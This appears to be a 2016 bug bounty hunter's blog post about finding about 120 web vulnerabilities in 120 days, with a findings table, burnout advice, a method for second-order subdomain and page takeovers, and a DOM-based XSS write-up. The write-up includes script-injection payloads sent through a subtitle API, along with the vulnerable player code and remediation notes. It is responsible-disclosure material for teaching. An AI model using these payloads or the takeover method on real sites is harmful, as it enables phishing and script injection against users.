July 29, 2016

High frequency security bug hunting: 120 days, 120 bugs

1) Intro & Motivations
2) Findings
3) Analysis
4) Methodology
5) Advice
6) Notable bug I: Second order subdomain/page takeovers
7) Notable bug II: DOM Based XSS via subtitle tracks


1) Intro & Motivations

At the start of of this year, I set myself a personal goal of finding 365 bugs in 365 days.

This was entirely motivated by wanting to challenge myself to find more security issues as I felt I'd been slacking off.

I thought back to things I'd done in the past to motivate myself, one that stuck out to me was when I was a contractor at Atlassian, I pushed myself to find one bug a day for 30 days. It was a great success and I found a variety of interesting bugs spanning the entirety of Atlassian's external applications, afterwards I was left exhausted as it had been fairly intense. I felt a lot of pressure (from myself and the people I'd talked to about what I was trying to achieve) to succeed.

At the start of 2016 I hit the ground running and was going really well. I'd find multiple bugs a day and take regular breaks to ensure I didn't burn myself out. Unfortunately as the year kicked into full swing, finding bugs on a daily basis became too difficult to maintain without sacrificing my mental health. I found I was regularly burnt out as setting myself with such an extraordinary goal to find a bug a day ended up being far too strenuous.

I ended the mindset of finding a bug a day exactly after 120 days, however my goals and motivations remain the same:

1) Look at new and innovative ways to compromise targets.
2) To focus on bugs that are interesting to me.
3) To make new friends/peers in the bounty community so I have people to bounce ideas off.


2) Findings

Below are most of my findings, with dates that roughly account for when the bugs were found (give or take 15 days):

Date Bug Payout Stat
1/01/16 [...redacted...] pre-auth SQLi & arbitrary file upload (CVEs pending) $0 reported to vendor
2/01/16 Reflected XSS on [...redacted...] $0 discontinued software
3/01/16 Host header poisoning leading to poisoned password reset emails (CVE pending) $0 discontinued software
4/01/16 Arbitrary administrator add CSRF on [...redacted...] (CVE pending) $0 discontinued software
5/01/16 Arbitrary SMS CSRF on [...redacted...] PoC $0 discontinued software
6/01/16 [...redacted...].com - internal [...redacted...] subdomain takeovers: $200
7/01/16 [...redacted...].com - internal [...redacted...] subdomain takeover: $200
8/01/16 [...redacted...].com - internal [...redacted...] subdomain takeover: $200
9/01/16 [...redacted...].com - internal [...redacted...] subdomain takeover: $200
10/01/16 [...redacted...].com - internal [...redacted...] subdomain takeover $200
11/01/16 [...redacted...]dev.com - internal [...redacted...] subdomain takeover: $200
12/01/16 […redacted…] pre-auth XSS via SQL error message $0
13/01/16 Dangling EC2 IP address [...redacted...].com $250
14/01/16 [...redacted...] DOM based XSS through subtitle files within a track element $3,000
15/01/16 [...redacted...] source code disclosure through public S3 bucket $250
16/01/16 CSRF & Arbitrary file upload vulnerability to a [...redacted...] owned s3 bucket $250
17/01/16 Three instances of reflected XSS on https://[...redacted...].af.cm/ - [...redacted...] $2,000
18/01/16 CRITICAL - Ability to write arbitrary scripts to [...redacted...] and [...redacted...] through misconfigured S3 bucket $7,000
19/01/16 PHP source code disclosure through [...redacted...]'s static S3 bucket $250
20/01/16 CRITICAL RCE and DoS through the […redacted…] for all clients $1,000 dupe
21/01/16 Insecure implementation of JSON Web Tokens on https://[...redacted...] $750
22/01/16 Potential SQL Injection on [...redacted...] Joomla […redacted…] application $2,000
23/01/16 Open Remote bruteforcable MySQL login on [...redacted...].com $700
24/01/16 Password based bruteforcable SSH server on [...redacted...].com To be paid
25/01/16 Subdomain takeover of […redacted…] leading to the takeover of multiple pages on [...redacted...].com $2,500
26/01/16 Multiple issues on [...redacted...].com with the Django Rest API [Info disc, Priv Esc, IDOR] $500
27/01/16 [...redacted...] owned Cisco 3750 on the external internet - bruteforcable via Telnet/SSH/HTTP $250
28/01/16 4 instances of Open DNS resolvers on [...redacted...] owned […redacted…] Administration IPs $750
29/01/16 Open admin panel functionality for […redacted…] app $250
30/01/16 Prevent […redacted…] users from using their own account on […redacted…] To be paid
31/01/16 Open Joomla administration panel for the […redacted…] application on […redacted…] $500
1/02/16 CRITICAL Takeover of ALL event pages on [...redacted...].com leading to phishing of users through takeover of Wufoo forms $2,500
2/02/16 iMessage XSS (CVE-2016-1764) $0 Patched and CVE assigned
3/02/16 […redacted…] IRC XSS $0 reported to vendor - no response
4/02/16 […redacted…] XSS/LFD $0 Patched by vendor (no CVE assigned)
5/02/16 […redacted…] RCE $0 Patched by vendor (no CVE assigned)
6/02/16 Persistent XSS on […redacted…] job posting $0
7/02/16 Open Chef Administration Panel (w/ ability to register) @ [...redacted...].com $0
8/02/16 Cross-domain data hijacking via SWF files uploaded as JPG on […redacted…] $500
9/02/16 Open Consul Administration Panel (without authentication) on https://[...redacted...]/ $500
10/02/16 XSS via [...redacted...].com/?[redacted]=javascript:alert(document.domain)%3b// $0 dupe
11/02/16 XSS via [...redacted...].com/?[redacted]=javascript:alert(document.domain)%3b// $0 dupe
12/02/16 XSS via [...redacted...].com/?[redacted]=javascript:alert(document.domain)%3b// $0 dupe
13/02/16 XSS via [...redacted...].com/?[redacted]=javascript:alert(document.domain)%3b// $0 dupe
14/02/16 XSS via [...redacted...].com/?[redacted]=javascript:alert(document.domain)%3b// $0 dupe
15/02/16 XSS via [...redacted...].com/?[redacted]=javascript:alert(document.domain)%3b// $0 dupe
16/02/16 XSS via [...redacted...].com/?[redacted]=javascript:alert(document.domain)%3b// $0 dupe
17/02/16 XSS via [...redacted...].com/?[redacted]=javascript:alert(document.domain)%3b// $0 dupe
18/02/16 XSS via [...redacted...].com/?[redacted]=javascript:alert(document.domain)%3b// $0 dupe
19/02/16 XSS via [...redacted...].com/[redacted] $0 dupe
20/02/16 2nd fully exploitable instance of SQL injection on [...redacted...].com $0 dupe
21/02/16 Critical RSA Private Key disclosure, Username/Password disclosure for ([...redacted...].com, - [...redacted...].com) $2,000
22/02/16 […redacted…] - Bomgar Support Panel Account Bruteforce Vulnerability / Exposed Bomgar APIs $140
23/02/16 Facebook - Bomgar Support Panel Account Bruteforce Vulnerability / Exposed Bomgar APIs $500
24/02/16 XSS on [...redacted...].com through uploading SWFs as JPG To be paid
25/02/16 [...redacted...].com 2 x Reflected XSS dupe
26/02/16 Subdomain Takeover of […redacted…] due to dangling DNS records $500
27/02/16 Account bruteforce bug on [...redacted...].com To be paid
28/02/16 Critical - Perform administrative actions via an IDOR on [...redacted...].com - Manipulation of the leaderboard and more $7,000
29/02/16 Open administration interface on [...redacted...] (previously [...redacted...].com) $750
1/03/16 Denial of service, bandwidth and memory exhaustion on [...redacted...].com $1,337
2/03/16 Account bruteforce bug for [...redacted...] users To be paid
3/03/16 Ability to map arbitrary VK.com IDs with [...redacted...] players via [...redacted...] To be paid
4/03/16 Exposed Administration Panel (https://[...redacted...]/) To be paid
5/03/16 Reflected Cross-site Scripting on [...redacted...].com $1,500
6/03/16 PHPInfo + Misc Information Disclosure + Further XSS on [...redacted...].com (http://[...redacted...]/) To be paid
7/03/16 HTML Injection within [...redacted...]'s Offer Email functionality Paid out in miles
8/03/16 Meetings on [...redacted...].webex.com exposed to the public through Webex's Meeting Center $500
9/03/16 Cross-site scripting on [...redacted...].com, [...redacted...].com, [...redacted...].com and www.[...redacted...].com To be paid
10/03/16 Web.config file information disclosure on [...redacted...].com To be paid
11/03/16 Insecure CORs implementation allowing any origin, ability to steal customer metadata To be paid
12/03/16 Ability to inject arbitrary HTML into emails on […redacted…] behalf via […redacted…] email system on […redacted…] $0 Out of scope
13/03/16 RCE in $VendorProduct $0 No response from $Vendor
14/03/16 RCE in $VendorProduct $0 No response from $Vendor
15/03/16 File disclosure/RCE in [...redacted...] $0 No response from $Vendor
16/03/16 Cross-site scripting on [...redacted...] via data URIs $0 dupe
17/03/16 Reflected cross-site scripting on [...redacted...] via embedding arbitrary SWF files $0 dupe
18/03/16 Server-side request forgery allowing for the ability to contact internal [...redacted...] AWS hosts such as ElasticSearch and staging instances To be paid
19/03/16 Partial page takeover again on [...redacted...].com To be paid
20/03/16 ASPX Errors (Stack Traces) Info Disc on [...redacted...].com $0 Out of scope
21/03/16 Administration Panel Account Bruteforcing Bug on [...redacted...].com $0 Out of scope
22/03/16 Take over of accounts on [...redacted...] via Host Header Injection To be paid
23/03/16 Administration Panel Access (no auth required) to the [...redacted...] $3,000
24/03/16 Reflected XSS on [...redacted...] via ZeroClipboard $1,750
25/03/16 Administrator access to a Django Administration Panel on *.[…redacted…] via bruteforced credentials $1,000
26/03/16 Access to all of [...redacted...] Webex Meetings - no authentication required, sensitive meetings (?) $0 dupe
27/03/16 Information disclosure (internal IP addresses of all workers, memory usage, status) for [...redacted...].com $250
28/03/16 Weird CRLF injection flaw on […redacted…] (potential XSS, cookie setting, open redir) $0 No valid exploit vector
29/03/16 Tornado debug mode enabled on [...redacted...].com leading to minor info disc (full paths and small snippets of code) $0 Out of scope
30/03/16 Access to [...redacted...]'s internal HipChat $2,500
31/03/16 XXE in […redacted…] $0 Reported to vendor - awaiting product patches
1/04/16 Local RCE as root in […redacted…] $0 Reported to vendor - awaiting product patches
2/04/16 Cross-site scripting in […redacted…] $0 Reported to vendor - awaiting product patches
2/04/16 Unauthenticated access to Apache Solr + Memcached on […redacted…] $0 Reported to vendor - awaiting product patches
3/04/16 Cross-site scripting in […redacted…] $0 Reported to vendor - awaiting product patches
4/04/16 Cross-site scripting in […redacted…] $0 Reported to vendor - awaiting product patches
5/04/16 Cross-site scripting in […redacted…] $0 Reported to vendor - awaiting product patches
6/04/16 Cross-site scripting in […redacted…] $0 Reported to vendor - awaiting product patches
7/04/16 Cross-site scripting in […redacted…] $0 Reported to vendor - awaiting product patches
8/04/16 Atlassian Subdomain Hijack #1 Swag
9/04/16 Atlassian Subdomain Hijack #2 Swag
10/04/16 Weird XSS flaw on [...redacted...] owned machine To be paid
11/04/16 Weird XSS flaw on [...redacted...] owned machine #2 To be paid
12/04/16 Take over of […redacted…] S3 bucket #1 $500
13/04/16 Take over of […redacted…] S3 bucket #2 $500
14/04/16 [...redacted...] vulnerable to IIS short name disclosure To be paid
15/04/16 Subdomain Hijack of […redacted…] To be paid
16/04/16 Subdomain Hijack of […redacted…] To be paid
17/04/16 Two wordpress administration panels for […redacted…] on WPEngine To be paid
18/04/16 Reflected cross-site scripting on […redacted…] To be paid
19/04/16 Wordpress Database Credentials Leakage + Find and replace MySQL tool (searchreplacedb2.php) on […redacted…] + MySQL root password To be paid
20/04/16 URL Redirection flaw affecting […redacted…] official login flow (https://login.[...redacted...].com/) To be paid
21/04/16 XSS on [...redacted...].com due to Wordpress vulnerability To be paid
22/04/16 Multiple critical risk vulnerabilities affecting […redacted…] on […redacted…].com To be paid
23/04/16 Information disclosure of […redacted…] Jenkins users on […redacted…].com To be paid
24/04/16 Leaked FTP credentials for […redacted…] => persistent XSS, uploading of files, SOP bypass $800
25/04/16 [...redacted...] host ([...redacted...].com) vulnerable to IIS short name disclosure To be paid
26/04/16 Open admin panel / Multiple WordPress related issues on [...redacted...].com To be paid
27/04/16 [...redacted...] hosts ([...redacted...].[...redacted...].com [...redacted...].[...redacted...].com) vulnerable to IIS short name disclosure To be paid
28/04/16 Publicly exposed Hipchat token leading to the ability to post arbitrary HTML messages to [...redacted...] internal HipChat $500
28/04/16 Multiple XSS vulnerabilities within libraries referenced on [...redacted...].com: $0 Out of scope

Note: There are some bugs found in the 120 day period that have intentionally not been included in the above table.


3) Analysis
Vulnerability Number of identified issues Total Payout
Cross-site Scripting (XSS) 35 $9,550 (~10 or so payouts pending)
Authorization related vulnerabilities 6 $8,750
Open Administration Panels 11 $6,750 (~4 payouts pending)
Subdomain Takeovers 10 $6,700 (~2 payouts pending)
Credential Leakage 4 $5,800
Bruteforce Attacks 6 $1,890 (~2 payouts pending)
Denial of service 1 $1,337
Remote Command Execution 4 $1,000

Note: this summary table aims to simply categorize some of the bugs that were found in the 120 day period. There are miscellaneous bugs within the main table at the top of this blog post that aren't accounted for in the summary table above.

While rough calculations can be made using the above information, it is technically not complete. Due to the nature of bug bounties, a lot of the submitted issues are yet to be paid out, fixed, or are heavily redacted to not show sensitive information about the companies involved.

Sometime in the future when all these issues are fixed I plan on updating this post with more complete information.


4) Methodology

Looking at the table provided at the top of this blog post, we can see that my methodology for high-frequency bug hunting revolved around assets. Assets being defined as anything virtually owned by a company - including but not limited to every single application, directory, file, folder, executable or server that I discover. Notably, this often also included looking at SaaS/"cloud" based platforms used by companies for a variety of different services (VoIP, file sharing, web conferencing, etc).

The beauty of collecting, monitoring and keeping tabs on these assets was really appealing to me. For instance, finding development boxes owned by a company, where a developer had only put the box or application online one hour before I had found it became quite lucrative

In order to keep up with the requirement of finding a bug a day, I felt like I would need to spice things up and push the limits on what can be discovered - assets wise. I do feel that there are bug bounty programs (usually those that pay higher amounts of money) where it becomes exponentially harder to discover bugs. Such programs make participating in bug bounties a rewardable challenge.

I've discussed methodologies and toolsets used to discover assets owned by companies on the internet in some detail in my joint presentation at BSides Canberra 2016 with Nathan Wakelam. The link to this presentation can be found here.

Wanting to return something to the bug bounty community, Nathan and I authored three tools and published them on Github:

Altdns has received some great community attention with commits from @avlidienbrunn, @fransrosen and dbaxa on Github.

Another key part of my methodology involved working with other researchers/bug hunters that I trusted. Having a partner really makes a world of difference. I'm pretty stoked that I have had the chance to get aquainted and work with some amazing bug bounty hunters, including my colleagues at work, nnwakelam, Ebrietas, Mathias, Gil, Wes and more.

When I had dry periods and struggled to find bugs, one of my colleagues or friends that did bug bounties would find something spectacular in a program and would share what they had found after it had been reported/fixed. News about vulnerabilities in targets that you missed, would re-fuel you and somewhat get you motivated to find something equally as spectacular.

At all times, when someone found something in an area or program I didn't find, I took it as inspiration. Viewing colleagues and friends in bug bounties as competition is purely counter-intuitive as it doesn't really help any parties and leads to even more severe burn out.

Sometimes, you have to take your recon to boundless levels. I know a few other researchers that do this. A great example to showcase would be the efforts of @phwd, who attends Facebook's product conferences and attempts to learn about or gain access to early features of Facebook. Based on his successes within the Facebook bug bounty program, I don't doubt that he takes his recon game seriously, as I went to similar lengths for the programs I cared about.

Moving away from the technical nuances in methodology, I'd also recommend having an outlet or hobby far away from information security/bug hunting. As this was an extreme hobby of mine, I sometimes ignored the more important parts of life and realised that I was genuinely becoming unhappy - something that honestly comes back to get you in the long run. If there's something I've taken away from my experiences in hunting bugs in high frequency, it's that everything in excess is poison. Even if it's your hobby or your favourite past time.


5) Advice

I started my high frequency bug hunting program on January 1st, 2016 and around two months after abiding the one bug a day rule, I had hit my first burnout period.

My biggest mistake was not fully understanding the volatility of finding bugs. Bugs that are yet to be found are not quantifiable from a black-box perspective. I cannot confidently predict the likelihood of finding bugs based on time/effort. I can push to be the first to find new bugs, but I cannot predict them.

Over the span of 120 days, I had burnt out a total of three times. These down periods would exponentially get worse every day I couldn't find a bug to add to my list. If I didn't find a bug for 10 days, that'd mean I'd need to find 10 bugs within a day or so to catch up. This project felt exhausting as it shifted from being a side project to being hard work fueled by pressure.

If you are someone who would like to do a project like this one, I wholeheartedly encourage you. Just don't make the same mistakes I did where I made it my absolute mission and priority to find a bug a day. Take it easy and have a common goal, just don't cyclically punish or push yourself if you cant reach your goals. My closest friends told me I'd burn out, but my ignorance took the best of me when I convinced them and myself that I'd be OK with the pressure of finding a bug a day.

When you submit bugs, remember that you aren't actually entitled to anything. Unfortunately, that's how bug bounties work. It's a buyers market. If a program doesn't pay as much as you'd expect for a bug, just don't participate in that program again. What's the point of causing drama over a bug or two? Who is the magic internet man who's going to buy your exploit for $1,000,000 using magic internet money (bitcoin) that those Hacker News users keep on referencing? If anyone knows who this person is, do tell me! There's no such thing as a "union" for bug bounty hunters nor an easily accessible secondary blackmarket that pays for your bugs in a company. Bottom line, we're all just contractors getting paid based on valid work produced. Our clients can be great ... or they can be horrible to deal with, that's business and bug bounty 101.

If you get less than what you think you deserved when participating in bug bounties, have a civil discussion with the company you've reported it to. I also suggest reading Collin's excellent blog post on bug bounties to gain some perspective on the flip side of running bug bounty programs.

Find a bug bounty program that doesn't treat you like shit. Seriously. They exist. There are a few programs that spring to mind that honestly treats researchers as if they were a part of their security team. They respond quickly, they pay handsomely and there's mutual respect. For those running a program, I believe the best way to hook skilled individuals is to have inclusiveness, be fair and to be consistent.

I'm happy to have any of my advice/opinions challenged and I'd love to discuss any of the points I've listed thus far if you disagree with them.


6) Notable bug I: Second order subdomain/page takeovers

Based on discussions with a few other high earning bug bounty hunters, we found that the payout value for subdomain takeovers/hijacks varies greatly. There are programs that pay ranging from $100 to $7,500 USD. This is quite insane, I guess some companies just have largely different priorities than others.

Luckily, I've had the fortune of being able to participate in programs that greatly appreciate subdomain takeovers and pay up to 7.5k per takeover. Bug bounties get a lot more serious when this happens and researchers work very hard to squash bugs that get paid out at such incredible rates.

This private bug bounty paid a premium price for a bug class they were concerned about, they worked hard towards fixing such bugs and awarded every researcher who submitted valid subdomain takeovers with generosity. Within six months to a years time, it became incredibly difficult to find subdomain takeovers. Bug bounties work.

However, when you hit a brick wall and can't find a way to hijack subdomains as a researcher, what do you do?

That's where second order subdomain takeovers come into play. In today's world, a web application can be incredibly complex. It can be loading assets from 10+ hosts for any given page and could include active content from a wide number of sources. For example, we can have forms embedded from wufoo.com and JavaScript/assets from Amazon S3. There are many more examples of what active content can be embedded from third party sources within a page, however I've found most of my success to be with taking over wufoo forms and s3 buckets.

Just picture the possible situations that could lead to second order hijacks - let's say you work at $x company. This company has been running for over 10 years now and has an amazing bug bounty program. $x company has had many employees come and go, along with it, many pages created on their content management systems over the last 10 years. If this company has ever embedded dynamic content via third party URLs via a <script>, <iframe>, <svg> or <object> element, is that dynamic content still alive?

Here's a quick methodology:

  1. Create a site-map/list of URLs that belong to your target (ensure that you have covered as much as you can, spider throughout every subdomain)
  2. Request each URL and search for <script>, <iframe>, <svg>, <object>, extracting every link/hostname/URL from these elements.
  3. Ensure that all links found within the above tags are still valid. If there are any invalid/expired resources that are present, register them yourself and profit.

In one case, I found a number of pages for this bug bounty program which all had iframes to <companyname>.wufoo.com/<formid>. Due to the fact that these pages were published 3-4 years ago, it seemed that the wufoo account referenced within the iframes had expired.

So, I simply went to wufoo.com signed up and claimed the subdomain on wufoo.com, giving me the ability to create a form with the same URL as what was linked in the iframe. This let me take over a small set of pages on my target's domain.

This led to quite a few good bounties and is quite simple to do.

6) Notable bug II: DOM Based XSS via subtitle tracks

For a private bug bounty program, a promotional functionality allowed users to create their own subtitles for a pre-defined video. It was located in a URL that looked similar to this: http://subdomain.privatebounty.com/en/event/community.html

When visiting the above URL, I was presented with a number of input boxes. Within these input boxes, users were expected to insert subtitles of their own for the video. Once a user entered in subtitles for the video and clicked the call to action button, the subtitles were then sent to an API located on Heroku.

The request that is made to save the user-input subtitles to the API can be seen below:

POST /api/v1/usersubs HTTP/1.1  
Host: apisubdomain.privatebounty.com  
Content-Length: 1083  
Accept: */*  
Origin: http://subdomain.privatebounty.com  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36  
Content-Type: application/json  
Connection: close

{"parody":{"title":"rickroll","author":"shubs","subtitles_text":"[[\"<script>prompt('WE\'RE NO STRANGERS TO LOVE');</script>\"],[\"<script>prompt('YOU KNOW THE RULES AND SO DO I');</script>\"],[\"<script>prompt('A FULL COMMITMENTS WHAT I\'M THINKING OF');</script>\"],[\"<script>prompt('YOU WOULDNT GET THIS FROM ANY OTHER GUY');</script>\"],[\"<script>prompt('_');</script>\"],[\"<script>prompt('I JUST WANNA TELL YOU HOW I\'M FEELING');</script>\"],[\"<script>prompt('Gonna make you understand...');</script>\"],[\"<script>prompt('Never gonna give you up');</script>\"],[\"<script>prompt('Never gonna let you down');</script>\"],[\"<script>prompt('Never gonna run around and desert you');</script>\"],[\"<script>prompt('Never gonna make you cry');</script>\"],[\"<script>prompt('Never gonna say goodbye...');</script>\"],[\"<script>prompt('Never gonna tell a lie and hurt you..');</script>\"],[\"<script>prompt('_');</script>\"],[\"<script>prompt('We\'ve known each other for so long..');</script>\"]]","video_id":5}}

The response of the above request can be seen below:

HTTP/1.1 200 OK  
Server: Cowboy  
[...omitted for brevity...]

{"video_id":5,"slug":"60d499118de429510449","author":"shubs","title":"rickroll","subtitles_text":[["\u003cscript\u003eprompt('WE'RE NO STRANGERS TO LOVE');\u003c/script\u003e"],["\u003cscript\u003eprompt('YOU KNOW THE RULES AND SO DO I');\u003c/script\u003e"],["\u003cscript\u003eprompt('A FULL COMMITMENTS WHAT I'M THINKING OF');\u003c/script\u003e"],["\u003cscript\u003eprompt('YOU WOULDNT GET THIS FROM ANY OTHER GUY');\u003c/script\u003e"],["\u003cscript\u003eprompt('_');\u003c/script\u003e"],["\u003cscript\u003eprompt('I JUST WANNA TELL YOU HOW I'M FEELING');\u003c/script\u003e"],["\u003cscript\u003eprompt('Gonna make you understand...');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna give you up');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna let you down');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna run around and desert you');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna make you cry');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna say goodbye...');\u003c/script\u003e"],["\u003cscript\u003eprompt('Never gonna tell a lie and hurt you..');\u003c/script\u003e"],["\u003cscript\u003eprompt('_');\u003c/script\u003e"],["\u003cscript\u003eprompt('We've known each other for so long..');\u003c/script\u003e"],[""]]}

Continuing with the normal application flow, once I attempted to watch the "user-generated" video, the following request was made:

GET /api/v1/usersubs/60d499118de429510449.srt HTTP/1.1  
Host: apisubdomain.privatebounty.com  
[...omitted for brevity...]

The response of this subtitle file (.srt) was rendered as plain text. While I wasnt able to obtain persistent XSS directly via this endpoint, I observed that the response contained the subtitles entered originally by the user without ANY sanitization, unlike the API response. For example, requesting the following URL would return subtitles that contain my Rick Roll arbitrary JavaScript:

http://apisubdomain.privatebounty.com/api/v1/usersubs/60d499118de429510449.srt

Once this SRT subtitle file had been generated by the API, we could watch a video with the user defined subtitles by visiting a URL like the one below:

http://subdomain.privatebounty.com/event/community.html?slug=60d499118de429510449

When the above link was visited, the JavaScript found at http://subdomain.privatebounty.com/events/scripts/shared-app.js would execute and would use the slug ID in the URL to obtain and set the subtitles for the media player element on the page. The code block responsible for setting the subtitles can be found below:

 SharedApp.prototype.setPlayer = function() {
    var sourceUrl = this.video.source_url;
    var subtitle = this.apiUrl + '/usersubs/' + this.slug + '.srt';

    var videoTag = "<video width='699' height='400' id='video-result' preload='none' poster='images/video_poster.png'>" + "<source type='video/youtube' src='" + sourceUrl + "' />" + "<track kind='subtitles' src='" + subtitle + "' srclang='en' default>" + "</video>";

    this.$element.find('[data-shared-app-container]').html(videoTag);

    $('#video-result').mediaelementplayer({
      startLanguage: 'en',
    });
  };

Once the above code had been executed, the malicious subtitle files are loaded from http://apisubdomain.privatebounty.com/api/v1/usersubs/60d499118de429510449.srt and are ready to be injected into the victims DOM.

Due to the way that subtitles work through SRT files (styling and so forth) and as referenced in the <track> tag RFC [1], the mediaplayerelement, by default, would NOT sanitize the subtitles before adding them to the DOM. This means that each line of the subtitles file will be added to the DOM (including the attackers scripts).

HTML is allowed to be in SRT files as per the spec, as it serves the purpose of styling. While it serves a somewhat important usability need, it also poses a security implication if users can set their own subtitles.

The JavaScript inserted through the SRT creation API was executed as soon as the video started playing:

There were two potential remediation options that I thought of that could remediate this issue:
1. Sanitize all user input that is placed into the SRT file - not just the data reflected from the API responses but also the SRT file!
2. Ensure that the mediaplayerelement does NOT insert the subtitles as HTML directly to the DOM but rather as text. See this.

This exploit worked on every browser that supported HTML5 track tags (almost every browser in the last 2-3 yrs).


So was this project a success? Kind of. I made bank, had fun, developed up my own set of universal recon skills and got to work with some pretty great people. Mental heath issues got the better of me towards the end, however, I know my limits now.


That's all for now folk! Give bug bounties a go: Bugcrowd and HackerOne are great platforms to start on.

At the time of this publication, Hack The World 2016 is currently ongoing. Get on it!

Thanks for reading this far. If there's anything you'd like to discuss from this blog post, feel free to DM me @infosec_au or message me on Freenode/Bugcrowd/Hackerone's IRC (handle: shubs). You can track future bug bounty progress of mine through my Hackerone account (notnaffy).

I performed this side project/experiment while working full time. Work would usually take up at least 40 hrs a week, bug bounty hunting was prioritised after any pending work items were completed. Calculating all of the payouts within the 120 day period, I found that bug bounties accounted for $80,000 in 120 days.